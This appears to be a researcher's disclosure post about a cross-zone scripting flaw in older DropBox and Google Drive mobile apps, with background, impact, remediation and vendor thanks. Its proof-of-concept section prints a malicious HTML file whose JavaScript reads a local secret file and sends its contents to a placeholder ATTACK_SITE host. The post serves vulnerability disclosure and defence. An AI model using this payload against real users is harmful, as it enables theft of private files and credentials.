Recently, as part of a broader research into mobile application security, I discovered a security vulnerability in several file-sharing mobile apps:
App Name |
Vulnerable Version |
1.4.6 (iOS) + 2.0.1 (Android) |
|
Google Drive |
1.0.1 (iOS) |
Exploiting this vulnerability, an attacker could steal arbitrary files from a DropBox / Google Drive user by tricking him into viewing a malicious HTML file inside the mobile app. By abusing the way in which these app render HTML files, an attacker could bypass Same Origin Policy restrictions and read files that are accessible to the app itself, including sensitive user content and application configuration.
Cross-Zone Scripting was once quite common in Desktop environments until it was mitigated by browser vendors. Unfortunately, this vulnerability type has been carried on to the Mobile world, where it is still a threat. As always, it is interesting to see how old vulnerabillities sneak up to new products.
Background
Cross-zone scripting is “a browser exploit taking advantage of a vulnerability within a zone-based security solution. The attack allows content (scripts) in unprivileged zones to be executed with the permissions of a privileged zone - i.e. a privilege escalation within the client (web browser) executing the script”.
In the vulnerability illustrated here, content that originates from an “Internet” zone (i.e. unprivileged zone) is executed under the “Local” zone (i.e. privileged zone).
Vulnerability Description
A significant feature of file-sharing apps is allowing a user to view either his files or files shared with him.
The apps achieve this by using an embedded browser (using the UIWebView/WebView classes in iOS/Android respectively) to display the
contents of these files. Amongst numerous file types, the DropBox / Google Drive apps allow the user to view HTML files
in a rendered format. To do so, these apps use an embedded browser window to render the locally
stored HTML file. The method in which these apps render an HTML file has two side effects:
• JavaScript code contained in the HTML file is automatically executed
• The HTML content is loaded in a privileged file zone, as opposed to an unprivileged HTTP location
Execution of malicious JavaScript code allows an attacker to steal potentially valuable information from the DOM of the embedded browser, an attack dubbed “Cross-Application Scripting” (XAS). However, because these apps load the HTML file from a privileged zone such as “file:///var/mobile/Applications/APP_UUID/…/maliciousfile.html" (in iOS), the malicious JavaScript can also access the file system with the same permissions as the app.
Impact
By exploiting this vulnerability, an attacker could read and retrieve files that the apps themselves can access. For instance, previously cached files, application configuration files, the device's address book, etc. Furthermore, additional access can be achieved pending on the OS:
• In iOS, read access to the user's DropBox unencrypted credentials (../Library/Preferences/com.getdropbox.Dropbox.plist) existed, until it was fixed. Having access to the user's credentials allows the attacker to retrieve arbitrary files from the user's account as well as to persist the attack by modifying other HTML files.
• In Android, read access to the device's SD card is possible if the app has permission to do so.
Once the HTML file is rendered, the JavaScript code executes immediately. However, when the user has finished viewing the file (e.g. pressed the Home button), code execution is suspended until the user views the file again.
Proof-of-Concept
The following is a PoC illustrates a malicious HTML file that steals a secret file from the user's DropBox account (iOS Version):
<html> <head> <title>Malicious HTML File!</title> </head> <body> <script> function readDropBoxFileiOS(fileName) { // Create a new XHR Object x = new XMLHttpRequest(); // When file content is available, send it back x.onreadystatechange = function () { if (x.readyState == 4) { x2 = new XMLHttpRequest(); x2.onreadystatechange = function () {}; // x.responseText contains the content of fileName // which we'll send back to ATTACK_SITE x2.open("GET", "http://ATTACK_SITE/?file_content=" +
encodeURI(x.responseText)); x2.send(); } } // Try to read the content of the specified file x.open("GET", fileName); x.send(); }; // Reads the a secret file from the user's local cache readDropBoxFileiOS("file:///var/mobile/Applications/APP_UUID/Library/" +
"Caches/Dropbox/Secrets/secret.txt"); </script> <h1>This malicious file will now leak a secret file!</h1> </body> </html>
Remediation
The vulnerability stems from the two side-effects of rendering unreliable HTML files in a privileged zone. Two possible solutions can mitigate the aforementioned security issue:
• Disabling execution of JavaScript code while rendering unreliable HTML files.
• Loading the file from a less privileged location such as HTTP (i.e. http://web-dl.file-sharing-app.com)
The specific app advisiories can be found here:
I’d like to thank the following:
- DropBox / Google security response teams for the quick fixes!
- Roee Hay
Discovered by - Roi Saltzman, IBM Application Security Research
Comments